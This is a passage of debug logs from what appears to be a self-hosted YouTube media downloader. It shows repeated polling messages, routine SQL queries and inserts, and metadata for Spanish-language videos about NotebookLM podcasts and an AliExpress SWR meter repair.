livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1414] 22:45:29.134 [debug] Current batch of media processed. Will check again in 1000ms 22:45:30.051 [debug] Current batch of media processed. Will check again in 1000ms 22:45:30.134 [debug] Current batch of media processed. Will check again in 1000ms 22:45:31.052 [debug] Current batch of media processed. Will check again in 1000ms 22:45:31.136 [debug] Current batch of media processed. Will check again in 1000ms 22:45:32.053 [debug] Current batch of media processed. Will check again in 1000ms 22:45:32.137 [debug] Current batch of media processed. Will check again in 1000ms 22:45:33.054 [debug] Current batch of media processed. Will check again in 1000ms 22:45:33.138 [debug] Current batch of media processed. Will check again in 1000ms 22:45:34.055 [debug] Current batch of media processed. Will check again in 1000ms 22:45:34.139 [debug] Current batch of media processed. Will check again in 1000ms 22:45:35.056 [debug] Current batch of media processed. Will check again in 1000ms 22:45:35.140 [debug] Current batch of media processed. Will check again in 1000ms 22:45:36.057 [debug] Current batch of media processed. Will check again in 1000ms 22:45:36.141 [debug] Current batch of media processed. Will check again in 1000ms 22:45:37.058 [debug] Current batch of media processed. Will check again in 1000ms 22:45:37.142 [debug] Current batch of media processed. Will check again in 1000ms 22:45:38.059 [debug] Current batch of media processed. Will check again in 1000ms 22:45:38.143 [debug] Current batch of media processed. Will check again in 1000ms 22:45:39.060 [debug] Current batch of media processed. Will check again in 1000ms 22:45:39.144 [debug] Current batch of media processed. Will check again in 1000ms 22:45:40.061 [debug] Current batch of media processed. Will check again in 1000ms 22:45:40.145 [debug] Current batch of media processed. Will check again in 1000ms 22:45:41.062 [debug] Current batch of media processed. Will check again in 1000ms 22:45:41.146 [debug] Current batch of media processed. Will check again in 1000ms 22:45:42.063 [debug] Current batch of media processed. Will check again in 1000ms 22:45:42.147 [debug] Current batch of media processed. Will check again in 1000ms 22:45:43.064 [debug] Current batch of media processed. Will check again in 1000ms 22:45:43.148 [debug] Current batch of media processed. Will check again in 1000ms 22:45:44.065 [debug] Current batch of media processed. Will check again in 1000ms 22:45:44.149 [debug] Current batch of media processed. Will check again in 1000ms 22:45:45.066 [debug] Current batch of media processed. Will check again in 1000ms 22:45:45.150 [debug] Current batch of media processed. Will check again in 1000ms 22:45:46.067 [debug] Current batch of media processed. Will check again in 1000ms 22:45:46.151 [debug] Current batch of media processed. Will check again in 1000ms 22:45:47.068 [debug] Current batch of media processed. Will check again in 1000ms 22:45:47.152 [debug] Current batch of media processed. Will check again in 1000ms 22:45:48.069 [debug] Current batch of media processed. Will check again in 1000ms 22:45:48.153 [debug] Current batch of media processed. Will check again in 1000ms 22:45:49.070 [debug] Current batch of media processed. Will check again in 1000ms 22:45:49.154 [debug] Current batch of media processed. Will check again in 1000ms 22:45:50.071 [debug] Current batch of media processed. Will check again in 1000ms 22:45:50.155 [debug] Current batch of media processed. Will check again in 1000ms 22:45:51.072 [debug] Current batch of media processed. Will check again in 1000ms 22:45:51.156 [debug] Current batch of media processed. Will check again in 1000ms 22:45:51.263 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:52.073 [debug] Current batch of media processed. Will check again in 1000ms 22:45:52.157 [debug] Current batch of media processed. Will check again in 1000ms 22:45:53.074 [debug] Current batch of media processed. Will check again in 1000ms 22:45:53.158 [debug] Current batch of media processed. Will check again in 1000ms 22:45:54.075 [debug] Current batch of media processed. Will check again in 1000ms 22:45:54.159 [debug] Current batch of media processed. Will check again in 1000ms 22:45:55.076 [debug] Current batch of media processed. Will check again in 1000ms 22:45:55.160 [debug] Current batch of media processed. Will check again in 1000ms 22:45:56.077 [debug] Current batch of media processed. Will check again in 1000ms 22:45:56.161 [debug] Current batch of media processed. Will check again in 1000ms 22:45:57.078 [debug] Current batch of media processed. Will check again in 1000ms 22:45:57.162 [debug] Current batch of media processed. Will check again in 1000ms 22:45:58.079 [debug] Current batch of media processed. Will check again in 1000ms 22:45:58.163 [debug] Current batch of media processed. Will check again in 1000ms 22:45:59.080 [debug] Current batch of media processed. Will check again in 1000ms 22:45:59.164 [debug] Current batch of media processed. Will check again in 1000ms 22:46:00.081 [debug] Current batch of media processed. Will check again in 1000ms 22:46:00.128 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:00.165 [debug] Current batch of media processed. Will check again in 1000ms 22:46:01.082 [debug] Current batch of media processed. Will check again in 1000ms 22:46:01.166 [debug] Current batch of media processed. Will check again in 1000ms 22:46:02.083 [debug] Current batch of media processed. Will check again in 1000ms 22:46:02.167 [debug] Current batch of media processed. Will check again in 1000ms 22:46:03.084 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 6: TEXTO A AUDIO 2.0: Descubre los mejores podcasts educativos para estudiantes. ¡Aprende física y más de forma divertida y jovial! Llevamos las lecciones a tu cama o camino al colegio. ¡No te pierdas esta innovadora forma de aprender! #PodcastsEducativos #Estudiantes #AprenderJugando #FísicaDivertida #EducaciónInnovadora #LeccionesEnPodcast #AprendizajeOnline #PodcastParaJóvenes #FormaciónAcadémica #EscuchaYAprende", "duration" => 33, "filename" => "/downloads/music/IA mí QUÉ/¡Podcast para Estudiantes! Aprende Durmiendo (o Chateando).m4a", "id" => "SqJQ9IszfzM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/SqJQ9IszfzM", "playlist_index" => 4, "timestamp" => 1748159905, "title" => "¡Podcast para Estudiantes! Aprende Durmiendo (o Chateando)", "upload_date" => "20250525"} 22:46:03.085 [debug] QUERY OK source="sources" db=0.4ms idle=1318.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:46:03.086 [debug] QUERY OK source="sources" db=0.6ms idle=354.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:46:03.087 [debug] QUERY OK source="media_items" db=0.7ms idle=319.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-25 07:58:25Z], 2] 22:46:03.088 [debug] QUERY OK source="media_items" db=0.9ms idle=320.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 6: TEXTO A AUDIO 2.0: Descubre los mejores podcasts educativos para estudiantes. ¡Aprende física y más de forma divertida y jovial! Llevamos las lecciones a tu cama o camino al colegio. ¡No te pierdas esta innovadora forma de aprender! #PodcastsEducativos #Estudiantes #AprenderJugando #FísicaDivertida #EducaciónInnovadora #LeccionesEnPodcast #AprendizajeOnline #PodcastParaJóvenes #FormaciónAcadémica #EscuchaYAprende", "¡Podcast para Estudiantes! Aprende Durmiendo (o Chateando)", "06789e5b-3044-4d1b-a9c6-35d24a8cdf5c", 33, false, "SqJQ9IszfzM", "https://www.youtube.com/shorts/SqJQ9IszfzM", 4, "/downloads/music/IA mí QUÉ/¡Podcast para Estudiantes! Aprende Durmiendo (o Chateando).m4a", false, false, true, 2, [], 97, ~U[2025-05-25 07:58:25Z], ~U[2026-02-07 21:46:03Z], ~U[2026-02-07 21:46:03Z], "PARTE 6: TEXTO A AUDIO 2.0: Descubre los mejores podcasts educativos para estudiantes. ¡Aprende física y más de forma divertida y jovial! Llevamos las lecciones a tu cama o camino al colegio. ¡No te pierdas esta innovadora forma de aprender! #PodcastsEducativos #Estudiantes #AprenderJugando #FísicaDivertida #EducaciónInnovadora #LeccionesEnPodcast #AprendizajeOnline #PodcastParaJóvenes #FormaciónAcadémica #EscuchaYAprende", "¡Podcast para Estudiantes! Aprende Durmiendo (o Chateando)", 33, false, "SqJQ9IszfzM", "https://www.youtube.com/shorts/SqJQ9IszfzM", "/downloads/music/IA mí QUÉ/¡Podcast para Estudiantes! Aprende Durmiendo (o Chateando).m4a", true, 2, ~U[2025-05-25 07:58:25Z]] 22:46:03.089 [debug] QUERY OK source="sources" db=0.4ms idle=322.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:46:03.090 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:46:03.090 [debug] QUERY OK source="media_items" db=0.6ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1373] 22:46:03.091 [debug] Current batch of media processed. Will check again in 1000ms 22:46:03.168 [debug] Current batch of media processed. Will check again in 1000ms 22:46:04.091 [debug] Current batch of media processed. Will check again in 1000ms 22:46:04.169 [debug] Current batch of media processed. Will check again in 1000ms 22:46:05.092 [debug] Current batch of media processed. Will check again in 1000ms 22:46:05.170 [debug] Current batch of media processed. Will check again in 1000ms 22:46:06.093 [debug] Current batch of media processed. Will check again in 1000ms 22:46:06.171 [debug] Current batch of media processed. Will check again in 1000ms 22:46:07.094 [debug] Current batch of media processed. Will check again in 1000ms 22:46:07.172 [debug] Current batch of media processed. Will check again in 1000ms 22:46:08.095 [debug] Current batch of media processed. Will check again in 1000ms 22:46:08.173 [debug] Current batch of media processed. Will check again in 1000ms 22:46:09.096 [debug] Current batch of media processed. Will check again in 1000ms 22:46:09.176 [debug] Current batch of media processed. Will check again in 1000ms 22:46:10.097 [debug] Current batch of media processed. Will check again in 1000ms 22:46:10.177 [debug] Current batch of media processed. Will check again in 1000ms 22:46:11.098 [debug] Current batch of media processed. Will check again in 1000ms 22:46:11.178 [debug] Current batch of media processed. Will check again in 1000ms 22:46:12.099 [debug] Current batch of media processed. Will check again in 1000ms 22:46:12.179 [debug] Current batch of media processed. Will check again in 1000ms 22:46:13.100 [debug] Current batch of media processed. Will check again in 1000ms 22:46:13.180 [debug] Current batch of media processed. Will check again in 1000ms 22:46:14.101 [debug] Current batch of media processed. Will check again in 1000ms 22:46:14.181 [debug] Current batch of media processed. Will check again in 1000ms 22:46:15.102 [debug] Current batch of media processed. Will check again in 1000ms 22:46:15.182 [debug] Current batch of media processed. Will check again in 1000ms 22:46:16.103 [debug] Current batch of media processed. Will check again in 1000ms 22:46:16.183 [debug] Current batch of media processed. Will check again in 1000ms 22:46:17.104 [debug] Current batch of media processed. Will check again in 1000ms 22:46:17.184 [debug] Current batch of media processed. Will check again in 1000ms 22:46:18.105 [debug] Current batch of media processed. Will check again in 1000ms 22:46:18.185 [debug] Current batch of media processed. Will check again in 1000ms 22:46:19.106 [debug] Current batch of media processed. Will check again in 1000ms 22:46:19.186 [debug] Current batch of media processed. Will check again in 1000ms 22:46:20.107 [debug] Current batch of media processed. Will check again in 1000ms 22:46:20.187 [debug] Current batch of media processed. Will check again in 1000ms 22:46:21.108 [debug] Current batch of media processed. Will check again in 1000ms 22:46:21.188 [debug] Current batch of media processed. Will check again in 1000ms 22:46:21.265 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:22.109 [debug] Current batch of media processed. Will check again in 1000ms 22:46:22.189 [debug] Current batch of media processed. Will check again in 1000ms 22:46:23.110 [debug] Current batch of media processed. Will check again in 1000ms 22:46:23.190 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Para que luego vayais comprando cosas a Aliexpress como locos... Aquí un medidor de ROE/SWR con una soldadura arrancada de la placa. La soldadura ha saltado por culpa de que el pin central del conector rota, y al poner el cable se fuerza la posición. En un conector de calidad esto no pasaría.\n\n\n#aliexpress #fail #repair #hamradio #radioaficionados #noqualitycontrol #diyelectronics\n\n\n\nContenido del video \n00:00 - Presentación\n00:38 - Intro canal\n00:56 - Probando error\n03:04 - Desmontando\n04:25 - Localizando la averia\n06:27 - Reparando\n07:35 - Verificando\n08:40 - Reparación completada\n09:15 - Prueba a 100w\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 701, "filename" => "/downloads/music/ea3grn/122 - REPARACION SIMPLE MEDIDOR ROE CHINO ALIEXPRESS SWR.m4a", "id" => "9pZ8z3T0ey4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=9pZ8z3T0ey4", "playlist_index" => 59, "timestamp" => 1702838968, "title" => "122 - REPARACION SIMPLE MEDIDOR ROE CHINO ALIEXPRESS SWR", "upload_date" => "20231217"} 22:46:23.191 [debug] QUERY OK source="sources" db=0.6ms idle=424.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:46:23.192 [debug] QUERY OK source="sources" db=0.4ms idle=425.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:46:23.193 [debug] QUERY OK source="media_items" db=0.7ms idle=425.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-17 18:49:28Z], 3] 22:46:23.194 [debug] QUERY OK source="media_items" db=1.1ms idle=426.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Para que luego vayais comprando cosas a Aliexpress como locos... Aquí un medidor de ROE/SWR con una soldadura arrancada de la placa. La soldadura ha saltado por culpa de que el pin central del conector rota, y al poner el cable se fuerza la posición. En un conector de calidad esto no pasaría.\n\n\n#aliexpress #fail #repair #hamradio #radioaficionados #noqualitycontrol #diyelectronics\n\n\n\nContenido del video \n00:00 - Presentación\n00:38 - Intro canal\n00:56 - Probando error\n03:04 - Desmontando\n04:25 - Localizando la averia\n06:27 - Reparando\n07:35 - Verificando\n08:40 - Reparación completada\n09:15 - Prueba a 100w\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "122 - REPARACION SIMPLE MEDIDOR ROE CHINO ALIEXPRESS SWR", "22a5479d-3b50-44d5-ad78-1cc140101152", 701, false, "9pZ8z3T0ey4", "https://www.youtube.com/watch?v=9pZ8z3T0ey4", 59, "/downloads/music/ea3grn/122 - REPARACION SIMPLE MEDIDOR ROE CHINO ALIEXPRESS SWR.m4a", false, false, false, 3, [], 98, ~U[2023-12-17 18:49:28Z], ~U[2026-02-07 21:46:23Z], ~U[2026-02-07 21:46:23Z], "Para que luego vayais comprando cosas a Aliexpress como locos... Aquí un medidor de ROE/SWR con una soldadura arrancada de la placa. La soldadura ha saltado por culpa de que el pin central del conector rota, y al poner el cable se fuerza la posición. En un conector de calidad esto no pasaría.\n\n\n#aliexpress #fail #repair #hamradio #radioaficionados #noqualitycontrol #diyelectronics\n\n\n\nContenido del video \n00:00 - Presentación\n00:38 - Intro canal\n00:56 - Probando error\n03:04 - Desmontando\n04:25 - Localizando la averia\n06:27 - Reparando\n07:35 - Verificando\n08:40 - Reparación completada\n09:15 - Prueba a 100w\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "122 - REPARACION SIMPLE MEDIDOR ROE CHINO ALIEXPRESS SWR", 701, false, "9pZ8z3T0ey4", "https://www.youtube.com/watch?v=9pZ8z3T0ey4", "/downloads/music/ea3grn/122 - REPARACION SIMPLE MEDIDOR ROE CHINO ALIEXPRESS SWR.m4a", false, 3, ~U[2023-12-17 18:49:28Z]] 22:46:23.195 [debug] QUERY OK source="sources" db=0.5ms idle=426.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:46:23.196 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:46:23.197 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1417] 22:46:23.197 [debug] Current batch of media processed. Will check again in 1000ms 22:46:24.111 [debug] Current batch of media processed. Will check again in 1000ms 22:46:24.197 [debug] Current batch of media processed. Will check again in 1000ms 22:46:25.112 [debug] Current batch of media processed. Will check again in 1000ms 22:46:25.198 [debug] Current batch of media processed. Will check again in 1000ms 22:46:26.113 [debug] Current batch of media processed. Will check again in 1000ms 22:46:26.199 [debug] Current batch of media processed. Will check again in 1000ms 22:46:27.114 [debug] Current batch of media processed. Will check again in 1000ms 22:46:27.200 [debug] Current batch of media processed. Will check again in 1000ms 22:46:28.115 [debug] Current batch of media processed. Will check again in 1000ms 22:46:28.201 [debug] Current batch of media processed. Will check again in 1000ms 22:46:29.116 [debug] Current batch of media processed. Will check again in 1000ms 22:46:29.202 [debug] Current batch of media processed. Will check again in 1000ms 22:46:30.117 [debug] Current batch of media processed. Will check again in 1000ms 22:46:30.203 [debug] Current batch of media processed. Will check again in 1000ms 22:46:31.118 [debug] Current batch of media processed. Will check again in 1000ms 22:46:31.204 [debug] Current batch of media processed. Will check again in 1000ms 22:46:32.119 [debug] Current batch of media processed. Will check again in 1000ms 22:46:32.205 [debug] Current batch of media processed. Will check again in 1000ms 22:46:33.120 [debug] Current batch of media processed. Will check again in 1000ms 22:46:33.206 [debug] Current batch of media processed. Will check again in 1000ms 22:46:34.121 [debug] Current batch of media processed. Will check again in 1000ms 22:46:34.207 [debug] Current batch of media processed. Will check again in 1000ms 22:46:35.122 [debug] Current batch of media processed. Will check again in 1000ms 22:46:35.208 [debug] Current batch of media processed. Will check again in 1000ms 22:46:36.123 [debug] Current batch of media processed. Will check again in 1000ms 22:46:36.209 [debug] Current batch of media processed. Will check again in 1000ms 22:46:37.124 [debug] Current batch of media processed. Will check again in 1000ms 22:46:37.210 [debug] Current batch of media processed. Will check again in 1000ms 22:46:38.125 [debug] Current batch of media processed. Will check again in 1000ms 22:46:38.211 [debug] Current batch of media processed. Will check again in 1000ms 22:46:39.126 [debug] Current batch of media processed. Will check again in 1000ms 22:46:39.212 [debug] Current batch of media processed. Will check again in 1000ms 22:46:40.127 [debug] Current batch of media processed. Will check again in 1000ms 22:46:40.213 [debug] Current batch of media processed. Will check again in 1000ms 22:46:41.128 [debug] Current batch of media processed. Will check again in 1000ms 22:46:41.214 [debug] Current batch of media processed. Will check again in 1000ms 22:46:42.129 [debug] Current batch of media processed. Will check again in 1000ms 22:46:42.215 [debug] Current batch of media processed. Will check again in 1000ms 22:46:43.130 [debug] Current batch of media processed. Will check again in 1000ms 22:46:43.216 [debug] Current batch of media processed. Will check again in 1000ms 22:46:44.131 [debug] Current batch of media processed. Will check again in 1000ms 22:46:44.217 [debug] Current batch of media processed. Will check again in 1000ms 22:46:45.132 [debug] Current batch of media processed. Will check again in 1000ms 22:46:45.218 [debug] Current batch of media processed. Will check again in 1000ms 22:46:46.133 [debug] Current batch of media processed. Will check again in 1000ms 22:46:46.219 [debug] Current batch of media processed. Will check again in 1000ms 22:46:47.134 [debug] Current batch of media processed. Will check again in 1000ms 22:46:47.220 [debug] Current batch of media processed. Will check again in 1000ms 22:46:48.135 [debug] Current batch of media processed. Will check again in 1000ms 22:46:48.221 [debug] Current batch of media processed. Will check again in 1000ms 22:46:49.136 [debug] Current batch of media processed. Will check again in 1000ms 22:46:49.222 [debug] Current batch of media processed. Will check again in 1000ms 22:46:50.137 [debug] Current batch of media processed. Will check again in 1000ms 22:46:50.223 [debug] Current batch of media processed. Will check again in 1000ms 22:46:51.138 [debug] Current batch of media processed. Will check again in 1000ms 22:46:51.224 [debug] Current batch of media processed. Will check again in 1000ms 22:46:51.267 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:52.139 [debug] Current batch of media processed. Will check again in 1000ms 22:46:52.225 [debug] Current batch of media processed. Will check again in 1000ms 22:46:53.140 [debug] Current batch of media processed. Will check again in 1000ms 22:46:53.226 [debug] Current batch of media processed. Will check again in 1000ms 22:46:54.141 [debug] Current batch of media processed. Will check again in 1000ms 22:46:54.227 [debug] Current batch of media processed. Will check again in 1000ms 22:46:55.142 [debug] Current batch of media processed. Will check again in 1000ms 22:46:55.228 [debug] Current batch of media processed. Will check again in 1000ms 22:46:56.143 [debug] Current batch of media processed. Will check again in 1000ms 22:46:56.229 [debug] Current batch of media processed. Will check again in 1000ms 22:46:57.144 [debug] Current batch of media processed. Will check again in 1000ms 22:46:57.230 [debug] Current batch of media processed. Will check again in 1000ms 22:46:58.145 [debug] Current batch of media processed. Will check again in 1000ms 22:46:58.231 [debug] Current batch of media processed. Will check again in 1000ms 22:46:59.146 [debug] Current batch of media processed. Will check again in 1000ms 22:46:59.232 [debug] Current batch of media processed. Will check again in 1000ms 22:47:00.129 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:00.147 [debug] Current batch of media processed. Will check again in 1000ms 22:47:00.233 [debug] Current batch of media processed. Will check again in 1000ms 22:47:01.148 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 5: TEXTO A AUDIO 2.0: ¡Descubre cómo NotebookLM transforma texto en contenido interactivo y podcasts en español! 🚀 Convierte lecciones de física y accede a FAQs de forma natural. ¡Una revolución lingüística y de aprendizaje te espera! #NotebookLM #IA #Español #NotebookLM #IA #PodcastEnEspañol #TransformacionDeTexto #AprendizajeOnline #MindMap #InteligenciaArtificial #ContenidoInteractivo #EducacionEnEspañol #Productividad", "duration" => 36, "filename" => "/downloads/music/IA mí QUÉ/¡NotebookLM Habla Español! Podcast y Mapas Mentales Alucinantes.m4a", "id" => "99-zSo_6aEQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/99-zSo_6aEQ", "playlist_index" => 5, "timestamp" => 1748105913, "title" => "¡NotebookLM Habla Español! Podcast y Mapas Mentales Alucinantes", "upload_date" => "20250524"} 22:47:01.149 [debug] QUERY OK source="sources" db=0.6ms idle=1019.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", 